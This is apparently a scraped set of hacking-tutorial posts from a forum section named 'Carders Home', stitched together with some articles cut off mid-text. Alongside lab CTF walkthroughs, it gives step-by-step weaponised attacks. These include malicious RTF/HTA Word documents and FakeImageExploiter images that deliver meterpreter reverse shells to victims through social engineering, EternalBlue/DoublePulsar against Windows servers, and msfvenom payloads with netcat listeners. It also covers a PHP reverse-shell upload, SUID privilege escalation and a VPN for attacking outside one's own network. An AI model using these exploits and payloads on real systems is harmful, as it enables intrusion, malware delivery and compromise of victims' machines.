[To see content please register here]

–q
Form scanning result you can read the fetched directories.
[Image: 8.png?w=687&ssl=1]

Last but not least use –g option for web fingerprints with the following command
uniscan –u

[To see content please register here]

–g
1
uniscan –u

[To see content please register here]

–g
Here we have come across available http option GET, HEAD, POST, OPTION, and TRACE which might help in verb tampering.
[Image: 9.png?w=687&ssl=1]

It will try to find out web service and error information and type of error as shown in the given image.
[Image: 10.png?w=687&ssl=1]

Here this tool inserts a string in html in order to grab banner moreover we have come across the credential of the web server and from the given screenshot you can read login msfadmin: msfadmin
[Image: 11.png?w=687&ssl=1]

In this article, we have a focus towards directory brute force attack using Kali Linux tool and try to find hidden files and directories inside a web server for penetration testing.
Table of Content

What is Path Traversal or Directory Traversal?
DIRB
Dirbuster
Wfuzz
Metasploit
Dirserach

What is Path Traversal or Directory Traversal?
A path traversal attack is also known as directory traversal aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (…/)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. For more information visit owasp.org
Let’s Start!!!
DIRB
DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary-based attack against a web server and analyzing the response. DIRB main purpose is to help in professional web application auditing.
The tool “Dirb” is in-built in Kali Linux, therefore, Open the terminal and type following command to start brute force directory attack.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Hence you can see read the fetched directories and file in the given screenshot.
To know more, read the full article from here:

[To see content please register here]

DirBuster
DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers. DirBuster comes with a total of 9 different lists; this makes DirBuster extremely effective at finding those hidden files and directories.
Similarly, open the terminal and type Dirbuster, then enter the target URL as shown in below image and browse /usr/share/dirbuster/wordlis/ directory-list-2-3-medium.txt for brute force attack.
Select option dir to start with /dvwa, once you have configured the tool for attack click on start.
[Image: 2.png?w=687&ssl=1]

This will start the brute force attack and dumps all file and directory present inside web server as shown in the given screenshot.
To know more, read the full article from here:

[To see content please register here]

Wfuzz
Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP, etc), bruteforce Forms parameters (User/Password), Fuzzing, etc.
wfuzz -c -W /usr/share/wfuzz/wordlist/dir/common.txt --hc 400,404,403

[To see content please register here]

1
wfuzz -c -W /usr/share/wfuzz/wordlist/dir/common.txt --hc 400,404,403

[To see content please register here]

Here option –c is used for output with color; -W for wordlist; –hc for hiding responses with the specified code/lines/words/chars. It is also in-built in your Kali Linux.
[Image: 4.png?w=687&ssl=1]

Metasploit
HTTP Directory Scanner
This module identifies the existence of interesting directories in a given directory path.
use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) >set dictionary /usr/share/wordlists/dirb/common.txt
msf auxiliary(dir_scanner) >set rhosts 192.168.1.5
msf auxiliary(dir_scanner) > set path /dvwa
msf auxiliary(dir_scanner) >exploit
1
2
3
4
5
use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) >set dictionary /usr/share/wordlists/dirb/common.txt
msf auxiliary(dir_scanner) >set rhosts 192.168.1.5
msf auxiliary(dir_scanner) > set path /dvwa
msf auxiliary(dir_scanner) >exploit
[Image: 5.png?w=687&ssl=1]

Dirsearch
Dirsearch is a simple command line tool designed to brute force directories and files in websites. This tool is available at GitHub you can download it from

[To see content please register here]

and after installation in your Kali Linux type following to start dirsearch.
./dirsearch.py –u

[To see content please register here]

-e php -f -x 400,403,404
1
./dirsearch.py –u

[To see content please register here]

-e php -f -x 400,403,404
Here option –e is use for generating one entry for php extension; -x hide responses with the specified code/lines/words/chars.
From the given screenshot, you can read php file of the targeted web server.
[Image: 6.png?w=687&ssl=1]

For Kali Linux users we had performed this attack through Metasploit without using any python script which generates .rtf file for the attack, thus the user only needs to update their Kali Linux and load Metasploit framework to start this attack. This is a zero-day exploit that has excellent rating against Ms-office vulnerability which can be very easily used to shoot any targeted windows system.
Attacker: Kali Linux
Target: MS Office
Let’s breach!!
msfconsole
1
msfconsole
[Image: 1.png?w=687&ssl=1]

This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how an OLE link object can make an http(s) request, and execute hta code in response. This bug was originally seen being exploited in the wild starting in Oct 2016. This module was created by reversing a public malware sample.
Use exploit/windows/fileformat/office_word_hta
Msf > exploit (office_word_hta) >set srvhost 192.168.1.8
Msf > exploit (office_word_hta) >set payload windows/meterpreter/revrese_tcp
Msf > exploit (office_word_hta) >set filename sale.doc
Msf > exploit (office_word_hta) >set lhost 192.168.1.8
Msf > exploit (office_word_hta) >exploit
1
2
3
4
5
6
Use exploit/windows/fileformat/office_word_hta
Msf > exploit (office_word_hta) >set srvhost 192.168.1.8
Msf > exploit (office_word_hta) >set payload windows/meterpreter/revrese_tcp
Msf > exploit (office_word_hta) >set filename sale.doc
Msf > exploit (office_word_hta) >set lhost 192.168.1.8
Msf > exploit (office_word_hta) >exploit
This module will automatically generate a malicious .rtf file inside /root/.msf4/local/sales.doc moreover it will generate a link and that link must be share to target using social engineering method.
[Image: 2.png?w=687&ssl=1]

When the user will open that link and make double-click (OLE event) on .hta file, the attacker will receive meterpreter session in the Metasploit framework.
meterpreter > sysinfo
1
meterpreter > sysinfo
[Image: 3.png?w=687&ssl=1]

[Guide] How to Hack the Defense Space VM (CTF Challenge)

Posted by: NINZA - 05-02-2020, 11:45 AM - Forum: Carders Home - No Replies

Defense VM is made by Silex Secure team. This VM is designed to honor and pay respects to the military of Nigeria and the soldiers who stood up against the terrorist attack. It is of intermediate level and is very handy in order to brush up your skills as a penetration tester. You can download it from

[To see content please register here]

Are you ready for the challenge soldier? The first step to attack is to identify the target. So, identify your target. To identify the target we will use the following command:
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Now that you have identified your target (mine is 192.168.1.17) you will need to acquire it and declare your victory. In order to acquire it we will need a plan to enter our enemy. To let us search for all the doors, closed or not. And for that let’s fire up the nmap.
nmap -p- -A 192.168.1.17
1
nmap -p- -A 192.168.1.17
[Image: 2.png?w=687&ssl=1]

Our search has led us to the result that Port nos. 21, 80,443, 2225 is open with the services of FTP, HTTP, HTTPS, SSH respectively. As the port 80 is open we can open our target IP in the browser.
[Image: 3.png?w=687&ssl=1]

But there is no hint or what-so-ever in there. But as this based on military aspects the hint could be camouflaged. Therefore let’s check the source code.
[Image: 4.png?w=687&ssl=1]

And yes!! We have found the flag 0 although it is coded base64. Upon decoding it will become netdiscover.
[Image: 5.png?w=687&ssl=1]

As the source is unknown territory, I inspected more and found that there was a directory which proved to be very useful: assests/lafiya.js
[Image: 6.png?w=687&ssl=1]

Open the said directory in the browser and check its source code. In the source code, you will find flag 1 which will be in hex.
[Image: 7.png?w=687&ssl=1]

Upon converting hex you will uncover flag 2 in an MD5 form.
[Image: 8.png?w=687&ssl=1]

When you convert MD5 value to its original, it will be nmap as shown in the image below.
[Image: 9.png?w=687&ssl=1]

The second flag was nmap that means there is something the nmap that we missed. And upon reviewing it I remembered that SSH service was open on the port 2225. And so I accessed it with the following command.
ssh 192.168.1.17 -p 2225
1
ssh 192.168.1.17 -p 2225
[Image: 10.png?w=687&ssl=1]

And there we have it our flag 2B in an MD5 value. Let’s convert it.
[Image: 11.png?w=687&ssl=1]

Our flag 2B is encrypted. That means there is something related to encryption and security. Now the best way to provide security to a website is through its security certificate. Let’s check it out.
[Image: 12.png?w=687&ssl=1]

Now, upon examining the certificate, you will find your third flag and a hint i.e [39 39 30].
[Image: 13.png?w=687&ssl=1]

Firstly, decode the flag which will be unit. Now if you decode it anywhere you will not get a result. And I did searched and searched again but couldn’t get it to decode. So I visited the author’s walkthrough and there it says that it is translated the unit. And therefore I used the unit in my walkthrough.
[Image: 14.1.png?w=687&ssl=1]

The combination of 3, 9, 0 will be the suffix of the word unit. But there is a lot of combination for it so let’s create those combinations with the help of crunch with the command:
crunch 3 3 390
1
crunch 3 3 390
[Image: 14.2.png?w=687&ssl=1]

We will get 27 possible combinations and so make a text file for dictionary attack and add the word ‘unit’ as a prefix to every combination. Now let’s use dirb to find anything related to unit and these combinations.
dirb

[To see content please register here]

/root/Desktop/dict.txt
1
dirb

[To see content please register here]

/root/Desktop/dict.txt
[Image: 14.3.png?w=687&ssl=1]

To our joy there is a directory that goes by unit990. Let’s open it in our browser without further delay.
[Image: 14.png?w=687&ssl=1]

We do not have credentials for logging in. So, I checked it source code instead. In the source code, you will find flag 4 in a base64 code.
[Image: 15.png?w=687&ssl=1]

Decode the flag and you will get admin.php
[Image: 16.png?w=687&ssl=1]

After finding the flag, I opened the directory in the browser.
[Image: 17.png?w=687&ssl=1]

Opening the previously found directory in the browser will show the same page but its source code is edited. As you will check it, you will find that flag 5 again in base64 code.
[Image: 18.png?w=687&ssl=1]

By decoding flag 5 you will get SQL injection. That means the next step should be SQL injection.
[Image: 19.png?w=687&ssl=1]

Now, this hint is just to throw us off our track. I used every SQL injection technique I could find but it didn’t help. So I used dirb on the target.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

I found a directory called assets. And opened it in the browser and found the 7th flag.
[Image: 21.png?w=687&ssl=1]

Now try and decode it widgets.
[Image: 22.1.png?w=687&ssl=1]

Now you can try and decode it but it’s hopeless to decode it anywhere online. So examined the dirb result more and found another directory called phpmyadmin
[Image: 22.png?w=687&ssl=1]

If you open this directory in the browser you will find a login page. I used the top 10 most commonly used password and username i.e root and root and got in. In the database, I found a silex table. Now silex is the team’s name so I guess this is the most important table.
[Image: 23.png?w=687&ssl=1]

Upon checking it, I found the admin and in admin, there was our 6th flag coded in base64
[Image: 24.png?w=687&ssl=1]

Upon decoding, it says Nigiarforcecloud.
[Image: 25.png?w=687&ssl=1]

And voila!! All our flags are uncovered. Good work soldiers. Solving this VM was good exercise and I salute the fallen Nigerian soldiers and wish them peace and praise the whole army.

Today through this article you will learn how an attacker can use anonymous VPN service to occupy public IP which will surely expand the area of your target list and you will be able to attack outside your network also.
Let’s Start!
In your, Kali Linux Open the terminal and type following command to start PPTP service for VPN configuration.
apt-get install network-manager-pptp
1
apt-get install network-manager-pptp
[Image: 1.png?w=687&ssl=1]

apt-get install network-manager-pptp-gnome
1
apt-get install network-manager-pptp-gnome
[Image: 2.png?w=687&ssl=1]

Ipjetable.net is the web site which provides free VPN service to their registered users but this site will open through a proxy server so therefore I took help of free-proxy.xyz to open ipjettable.net web page.
[Image: 3.png?w=687&ssl=1]

Here you need to unlock the website so that you can use open VPN service anonymously. Click on I subscribe tab. Here I had Google translator.
[Image: 4.png?w=687&ssl=1]

Then it requires registration for unlocking VPN service now gives your email id for registration. I had to use a temporary email id for registration.
[Image: 5.png?w=687&ssl=1]

When you will register into web site it will send you a mail in your inbox which contains username and password that we will use for VPN login. In the given screenshot you can observe we have highlighted the link, copy this link.
[Image: 6.png?w=687&ssl=1]

Now paste above copied link inside free-proxy.xyz as done above for unlocking login page for VPN service. When you will unlock it, the given below web page will get open inside browser which will ask for login credential now give username and password which have received through the mail.
[Image: 7.png?w=687&ssl=1]

Now click on install ipjetable which start VPN service installation for your local network.
[Image: 8.png?w=687&ssl=1]

Inside your, Kali Linux click on power icon available on right side corner of the screen to configuration VPN then select wired connected.
[Image: 9.png?w=687&ssl=1]

Now click on (+) “plus” to add a new network connection.
[Image: 10.png?w=687&ssl=1]

Select point to point tunneling protocol
[Image: 11.png?w=687&ssl=1]

Now add username and password to connect which VPN server. Then click on advanced tab and select radio button store password only for this user.
[Image: 12.png?w=687&ssl=1]

From given screenshot select the checkbox for PPTP authentication and encryption then once all configurations is completed click on ok. Till here we have configured VPN service successfully in our Kali Linux.
[Image: 13.png?w=687&ssl=1]

Let check our VPN IP that we have occupied
ifconfig
1
ifconfig
From the screenshot, you can read 192.168.0.102 is my local IP and 141.255.151.15 is our public IP now use this IP for your attack even outside of your network also.
[Image: 14.png?w=687&ssl=1]

Through this article, we are sharing recent zero-day exploit which requires the Metasploit framework to shoot any other windows based system. This exploit is a combination of two tools “Eternal Blue” which is useful as a backdoor in windows and “Doublepulsar” which is used for injecting DLL file with the help of payload. So we will manually add this exploit in Metasploit framework and step up for attacking window server 2008.
Attacker: Kali Linux
Target: Windows 7 and Windows Server 2008
Let’s Start!
Open the terminal in Kali Linux and type the following command to download this exploit from git hub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once the required exploit will get downloaded then open the folder and copy Eternal Blue- Doublepulsar .rb ruby file so that we can add this exploit inside Metasploit.
[Image: 2.png?w=687&ssl=1]

Now past the copied ruby file inside given path Usr/share/metasploit Framework /module/exploits/windows/smb which will add this exploit inside Metasploit framework.
[Image: 3.png?w=687&ssl=1]

Then load Metasploit framework to start and type following for testing zero-day exploit
msfconsole
1
msfconsole
This module exploits the vulnerability of SMBv1 and SMBv2 protocols through eternalblue. After that doublepulsar is used to inject remotely a malicious DLL.
use windows/smb/eternalblue_doublepulsar
msf exploit (eternalblue_doublepulsar)> set eternalbluepath /root/Desktop/eternalblue_doublepulsar-metasploit/deps
msf exploit (eternalblue_doublepulsar)> set doublepulsarpath /root/Desktop/eternalblue_doublepulsar-metasploit/deps
msf exploit (eternalblue_doublepulsar)>set targetarchitecture x64
msf exploit (eternalblue_doublepulsar)>set processinject lsass.exe
msf exploit (eternalblue_doublepulsar)>set lhost 192.168.1.6
msf exploit (eternalblue_doublepulsar)>set rhost 192.168.1.104
msf exploit (eternalblue_doublepulsar)>exploit
1
2
3
4
5
6
7
8
use windows/smb/eternalblue_doublepulsar
msf exploit (eternalblue_doublepulsar)> set eternalbluepath /root/Desktop/eternalblue_doublepulsar-metasploit/deps
msf exploit (eternalblue_doublepulsar)> set doublepulsarpath /root/Desktop/eternalblue_doublepulsar-metasploit/deps
msf exploit (eternalblue_doublepulsar)>set targetarchitecture x64
msf exploit (eternalblue_doublepulsar)>set processinject lsass.exe
msf exploit (eternalblue_doublepulsar)>set lhost 192.168.1.6
msf exploit (eternalblue_doublepulsar)>set rhost 192.168.1.104
msf exploit (eternalblue_doublepulsar)>exploit
Hence from the screenshot, you can observer only we need to set target’s architecture and IP before launching exploit and then when all information is set then launch your attack which will give you meterpreter session successfully as I have owned.
[Image: 5.png?w=687&ssl=1]

Hi friends! Once again we are here with a new vulnerable lab challenge “Billu Box” .created by Manish Kishan Tanwar it mainly attacker need to escalate privileges to gain root access. You can download it from

[To see content please register here]

.
Let’s breach!!!
Open the terminal in your Kali Linux scan your network using netdiscover command and hence from scanning result I got target IP 192.168.0.102
[Image: 1.png?w=687&ssl=1]

Then use nmap aggressive scan for port and protocol enumeration:
nmap -p- -A 192.168.0.102
1
nmap -p- -A 192.168.0.102
So here I found port 22 and 80 are opened for SSH and HTTP respectively.
[Image: 2.png?w=687&ssl=1]

Since port 80 is open so I explore target IP on the browser but here I didn’t get any remarkable result.
[Image: 3.png?w=687&ssl=1]

Without wasting time I choose another tool dirb for directories brute force attack. To start brute force attack for directories
Awesome! We have stepped up in the right direction and dug out many directories but when you will see the given screenshot there I had highlighted the “test” directories. So now I will go with a test directory.
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt
1
dirb

[To see content please register here]

/usr/share/wordlists/dirb/big.txt
[Image: 4.png?w=687&ssl=1]

So when I open the test.php file in the browser here I found a message “file parameter is empty please provide file path in file parameter” where file parameter is vulnerable to LFI.
[Image: 5.png?w=687&ssl=1]

Using a hackbar tool which is Firefox plug-in and Taking advantage of LFI vulnerability I try to include index.php in file parameter from file=index.php
[Image: 6.png?w=687&ssl=1]

So when I open the index.php file here I found another file c.php is included.
[Image: 7.png?w=687&ssl=1]

So again with help of hackbar, I look for the c.php file from file=c.php for further enumeration so that we can find some clue to exploit the target.
[Image: 8.png?w=687&ssl=1]

When I read c.php file here I got some information related to the connected database and the highlighted text is reflecting like credential for the database.
[Image: 9.png?w=687&ssl=1]

If you remembered the result of the dirb tool here it had revealed another directory which is phpmy so therefore I will go with phpmy for further enumeration.
[Image: 10.png?w=687&ssl=1]

Then again taking advantage LFI I explore config.inc.php from file=/var/www/phpmy/config.inc.php
[Image: 11.png?w=687&ssl=1]

Last but not least we have finally achieved something very remarkable and in the given screenshot you can read from the config.inc.php file I have found server’s login username and password root: toor respectively.
[Image: 12.png?w=687&ssl=1]

From port enumeration result we have found port 22 is open for ssh, therefore, I will try root: toor for ssh login. When I use these credential for ssh login successfully I got root access hence the given challenge is completed.
[Image: 13.png?w=687&ssl=1]

[Guide] How to Embedded Backdoor with Image using FakeImageExploiter

Posted by: NINZA - 05-02-2020, 11:44 AM - Forum: Carders Home - No Replies

In this article, we are introducing a newly launched hacking tool “Fake Image Exploiter”. It is designed so that it becomes easier for attackers to perform phishing or social engineering attacks by generating a fake image with a hidden malicious .bat/.exe file inside it.
Let’s start!
Open the terminal inside your Kali Linux and type following command to download it from GitHub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once it gets downloaded then opens the folder and selects the file “settings” for configuration before running the program as shown the given screenshot.
[Image: 2.png?w=687&ssl=1]

Now make some changes inside the setting file as shown the screenshot:
Here you have to declare the type of payload extension you will use to hide it inside the image. You can set any extension among these four: ps1, bat, txt, exe. I had set PAYLOAD_EXETNSION=bat similarly set BYPASS_RH=NO and scroll down for next configuration.
[Image: 3.png?w=687&ssl=1]

In the same way, set these two values also as shown in the screenshot then save the changes.
AUTO_PAYLOAD_BUILD=YES
AGENT_HANLER_PORT=4444
1
2
AUTO_PAYLOAD_BUILD=YES
AGENT_HANLER_PORT=4444
[Image: 4.png?w=687&ssl=1]

After making certain changes in setting file then open the terminal and run the program file:
cd FakeImageExploiter
./FakeImageExploiter.sh
1
2
cd FakeImageExploiter
./FakeImageExploiter.sh
[Image: 5.png?w=687&ssl=1]

Click on YES to execute framework.
[Image: 6.png?w=687&ssl=1]

Select payload to build as I had chosen window/meterpreter/reverse_tcp for the attack.
[Image: 7.png?w=687&ssl=1]

After then a pop-up box will open which will allow choosing any jpg image so that it could hide .bat file payload inside that image.
[Image: 8.png?w=687&ssl=1]

Now select the icon for your malicious image.
[Image: 9.png?w=687&ssl=1]

Give a name to your payload which will be displayed to the victim as file name, from the screenshot you can see I had given sales.
[Image: 10.png?w=687&ssl=1]

Now it generates a link as you can observe it from highlighted part of the screenshot and then send this link to the victim. Now victim will download the zip file and click on the sales.jpg.
[Image: 11.png?w=687&ssl=1]

When victim will click on sales.jpg, we will get a meterpreter session at the background on Metasploit framework.
[Image: 12.png?w=687&ssl=1]

In this article, you will learn how we can connect with the victim through netcat shell using msfvenom payload. There will be two different ways of hacking any system using msfvenom with netcat.
1st Method
Firstly open the terminal and type following command for msfvenom which generate an exe payload:
msfvenom –p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=8956 –f exe > /root/Desktop/root.exe
1
msfvenom –p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=8956 –f exe > /root/Desktop/root.exe
[Image: 1.png?w=687&ssl=1]

Then send this root.exe file to victim and open another terminal for netcat shell and type following command:
nc 192.168.0.103 8956
1
nc 192.168.0.103 8956
When the victim will click on root.exe file attacker will get access to the victim’s system.
[Image: 2.png?w=687&ssl=1]

2nd Method
Again open the terminal type following command for msfvenom which generate an exe payload:
msfvenom -p windows/shell_reverse_tcp lhost=192.168.0.107 lport=8888 –f exe > /root/Desktop/1.exe
1
msfvenom -p windows/shell_reverse_tcp lhost=192.168.0.107 lport=8888 –f exe > /root/Desktop/1.exe
[Image: 3.png?w=687&ssl=1]

Then send this 1.exe file to victim and open another terminal for netcat shell and type following command:
nc -lvp 8888
1
nc -lvp 8888
When the victim will click on 1.exe file attacker will get the reverse connection of the victim’s system.
[Image: 4.png?w=687&ssl=1]

Hello friends! Today again we are here with a new vulnerable hub challenge “ORCUS” design by Mr. Viper. Through this article, we are sharing our work efforts which we have utilized to complete the challenge so that we can catch the flag and beat the goal of this VM machine. This machine contains 4 flags on this machine 1. Get a shell 2. Get root access 3. There is a post-exploitation flag on the box 4. There is something on this box.
You can download it from

[To see content please register here]

.
Let’s Breach!!
192.168.0.151 is the target IP now as we know that enumeration must be the first step for gathering information of any victim so therefore I had used version scan through nmap.
nmap -p- -sV 192.168.0.151
1
nmap -p- -sV 192.168.0.151
From screenshot you can see there are so many open ports but I will go with port 80.
[Image: 1.png?w=687&ssl=1]

Since port 80 was opened therefore I had explore target IP 192.168.0.151 in the browser but here I didn’t get any remarkable thing.
[Image: 2.png?w=687&ssl=1]

Without wasting time I choose another tool dirb for directories brute force attack. To start brute force attack for directories open the terminal and type following:
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Awesome! We have stepped up in the right direction and dug out many directories but when you will see the given screenshot there I had highlighted the “backups” directories. So now I will go with backups directory.
[Image: 3.png?w=687&ssl=1]

In the browser, I explored 192.168.0.151/backups as URL, where I found a tar file “simple PHP Quiz-backup.tar.gz”. Without taking more time I just download it for further enumeration.
[Image: 4.png?w=687&ssl=1]

So after unzipping when I open it, I found php and html files inside it, keeping eyes on php files I choose db-conn.php for fetching more details in the hop to get something related to the database.
[Image: 5.png?w=687&ssl=1]

Finally, after making many efforts I found database username and password as dbuser: dbpasswords respectively.
[Image: 6.png?w=687&ssl=1]

In dirb brute force attack, we have found many directories once again if you will scroll up you will notice phpmyadmin directory in the above-given screenshot. Now again I will move towards the browser to explore 192.168.0.1.51/phpmyadmin in URL. The form is given below screenshot you can observe I had entered above username and password here.
[Image: 7.png?w=687&ssl=1]

When you will give correct login credential it will allow you to login inside phpmyadmin page. From the screenshot you can see I have successfully login inside it using above credential, here I found a database “zenphoto” and decided to move inside it for further details.
[Image: 8.png?w=687&ssl=1]

Now inside zenphoto, I found a setup page which will update the configuration file for the database inside web server when we will fill the information in the given text field.
[Image: 9.png?w=687&ssl=1]

Here only we need to provide database username i.e. dbuser and database password i.e. dbpassword
Without disturbing other fields click on save which will start database zenphoto installation.
[Image: 10.png?w=687&ssl=1]

This will start installation when you will click on the go tab given at the end of the page. The zenphoto setup will start installing theme and plug-in for your database after that you have to set your admin user and password.
[Image: 11.png?w=687&ssl=1]

A further click on the given tab I agree to these terms and condition.
[Image: 12.png?w=687&ssl=1]

Now type a name for a new user as admin and type password: password and confirm password as shown in below image and then click on the apply tab given at the top
[Image: 14.png?w=687&ssl=1]

Then login into the zenphoto database using credential as admin: password. So now we are inside admin console where we have decided to upload an image but here we upload any zip file only.
[Image: 15.png?w=687&ssl=1]

Now use msfvenom to generate malicious PHP script and type following command.
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
1
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
From the screenshot you can read the generated PHP script, at this instant we need to copy the text highlighted text further we will paste it inside text document and saved with shell.php after that create a new folder copy shell.php inside it and compress it.
Most important thing is to start multi handler inside Metasploit.
[Image: 16.png?w=687&ssl=1]

Then come back to the Browser to upload your zip file, now browse your file and click on upload. Then explore following URL 192.168.0.151/zenphoto/albums, from the given image you can see our shell.php is successfully uploaded now click on it.
[Image: 17.png?w=687&ssl=1]

When you will click on shell.php you will get meterpreter session inside Metasploit. Now type the following command in order to catch the flag.
meterpreter >cd /var/www
meterpreter >ls
meterpreter >cat flag.txt
1
2
3
meterpreter >cd /var/www
meterpreter >ls
meterpreter >cat flag.txt
Congrats! We have caught the 1st flag.
[Image: 18.png?w=687&ssl=1]

After so many efforts I found a folder kippo then I step towards it for more information.
meterpreter >pwd
meterpreter >cd ..
meterpreter >cat /etc/kippo/data/userdb.txt
1
2
3
meterpreter >pwd
meterpreter >cd ..
meterpreter >cat /etc/kippo/data/userdb.txt
Finally! Caught 2nd flag also.
[Image: 19.png?w=687&ssl=1]

Now for root privilege escalation open a text document and following: reference

[To see content please register here]

Then save it as raj.c on the desktop.
[Image: 20.png?w=687&ssl=1]

Now upload raj.c file for compiling and gain root access as shown in the following image.
meterpreter >upload /root/Desktop/raj.c .
meterpreter >shell
gcc -o raj raj.c
1
2
3
meterpreter >upload /root/Desktop/raj.c .
meterpreter >shell
gcc -o raj raj.c
[Image: 21.png?w=687&ssl=1]

Since we know from the nmap result nfs port was open in targeted IP so taking advantage of it we will mount tmp data in URL Kali Linux. Now create a folder mount data inside it.
mount -t nfs 192.168.0.151:/tmp mount
chown root:root raj
chmod u+s raj
1
2
3
mount -t nfs 192.168.0.151:/tmp mount
chown root:root raj
chmod u+s raj
[Image: 22.png?w=687&ssl=1]

./raj
id
cd /root
cat flag.txt
1
2
3
4
./raj
id
cd /root
cat flag.txt
Great!! We have Caught 3rd flag also.
Now try yourself to find out one more flag.
[Image: 23.png?w=687&ssl=1]

In this article, you will learn how to exploit any server using server-side include injection which is commonly known as SSI.
SSIs are directives present on Web applications used to feed an HTML page with dynamic contents. The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. The attacker can access sensitive information, such as password files, and execute shell commands. The SSI directives are injected in input fields and they are sent to the web server.
For more information visit owasp.org
Let’s begin
In your Kali Linux open the target IP in the browser: 192.168.1.103/bWAPP/login.php. Enter user and password as bee and bug respectively.
Set security level low, from list box chooses your bug select server-side include injection now and click on hack
[Image: 1.png?w=687&ssl=1]

Now request web page will get open where you can see it is having two text fields for first name and last name respectfully.
[Image: 2.png?w=687&ssl=1]

Then I had given random name test: test as the first name and last name respectfully, to know what exactly I will receive when I will click on the lookup tab. Here first name text filed is vulnerable to SSI injection.
[Image: 3.png?w=687&ssl=1]

when I clicked on lookup, a new web page pop up on the window screen which was showing the IP 192.168.1.107 of my Kali Linux.
[Image: 4.png?w=687&ssl=1]

Now I will try to exploit this vulnerability by sending different types of malicious code into a web application. If you will see the following screenshot carefully here I had sent a script which will generate an alert prompt in the window screen. To perform this you need to modify text field of first name and type following code inside it.
<script>alert("hack")</script>
1
<script>alert("hack")</script>
[Image: 5.png?w=687&ssl=1]

So when again we will click on lookup then an alert prompt “hack” will pop up in the window screen. Hence it confirms that first name text filed is vulnerable.
[Image: 6.png?w=687&ssl=1]

If I am willing to fetch cookies of the web server then this can be possible here also. Only we need to type following script code in the same text filed.
<script>alert(document.cookie)</script>
1
<script>alert(document.cookie)</script>
[Image: 11.png?w=687&ssl=1]

Now again an alert prompt will pop up with the server’s cookie, which we can use for further exploitation.
[Image: 12.png?w=687&ssl=1]

Using exec directive we can execute a server-side command with cmd as parameters. Here I am trying to retrieve all lists of files and folder using the following code.

1

[Image: 13.1.png?w=687&ssl=1]

Wonderful!! So you can see without making a proper compromise to the server we have got all present directories inside it.
[Image: 13.2.png?w=687&ssl=1]

Now at last finally we will try to access its remote shell using netcat which will help us for establishing a reverse connection with the targeted system. Open a terminal to start netcat listener on port 4444 and type following inside vulnerable text filed as done above.

1

[Image: 14.png?w=687&ssl=1]

So when again you will click on lookup tab you will get a reverse connection through netcat shell as I have received in following image which means the web application server is hacked where we can execute the following command to penetrate more and more.
id
pwd
1
2
id
pwd
[Image: 15.png?w=687&ssl=1]

[Guide] How to Exploit Windows 10 PC with Microsoft RTF File

Posted by: NINZA - 05-02-2020, 11:41 AM - Forum: Carders Home - No Replies

Microsoft word is vulnerable against malicious RTF file, in this article we have made a zero-day attack on MS- word 2013 using python script which will generate a malicious .rtf file and will give a meterpreter session of the targeted system.
Exploit toolkit CVE-2017-0199 – v2.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious RTF file and it will deliver Metasploit / meterpreter / any other payload to the victim without any complex configuration.
Let’s start!!!
Attacker: Kali Linux
Target: Windows 10 (Microsoft Word 2007 – 2013)
Open the terminal inside your Kali Linux and type the following.

git clone

[To see content please register here]

1
git clone

[To see content please register here]

cd CVE-2017-0199
python cve-2017-0199_toolkit.py -M gen -w Sales.rtf -u

[To see content please register here]

1
2
cd CVE-2017-0199
python cve-2017-0199_toolkit.py -M gen -w Sales.rtf -u

[To see content please register here]

This command will run a python script to generate a rich text format payload where –M is used for generating rtf file –w is used for the name of rtf file i.e. “sales.rtf” and –u for attacker’s IP address or domain name.
[Image: 2.png?w=687&ssl=1]

As you can figure out in the given screenshot that above command has generated a malicious sales .rtf file, now before we send this file to our victim we need to connect it with any backdoor file so that we can establish a reverse connection with the victim.
[Image: 3.png?w=687&ssl=1]

On a new terminal use msfvenom to prepare an exe payload for attack and type the following.
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.24 lport=4444 –f exe > /root/Desktop/raj.exe
1
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.24 lport=4444 –f exe > /root/Desktop/raj.exe
[Image: 4.png?w=687&ssl=1]

Now move raj.exe into /var/www/html.
[Image: 5.png?w=687&ssl=1]

Now type following command where it will merge raj.exe with sales.rtf. Then you have to share the updated rtf file with the victim and start multi handler simultaneously for reverse connection of the victim.
python cve-2017-0199_toolkit.py -M exp -e

[To see content please register here]

-l /var/www/html/raj.exe
1
python cve-2017-0199_toolkit.py -M exp -e

[To see content please register here]

-l /var/www/html/raj.exe
[Image: 6.png?w=687&ssl=1]

When victim will open sales file which will be in doc format in the meantime attacker will receive his meterpreter session inside Metasploit framework.
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.24
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
meterpreter > sysinfo
1
2
3
4
5
6
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.24
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
meterpreter > sysinfo
[Image: 7.png?w=687&ssl=1]

This article is written to introduce a new tool called shARP. It is an anti-ARP-spoofing program and uses an active scanning process to identify any ARP-spoofing event.
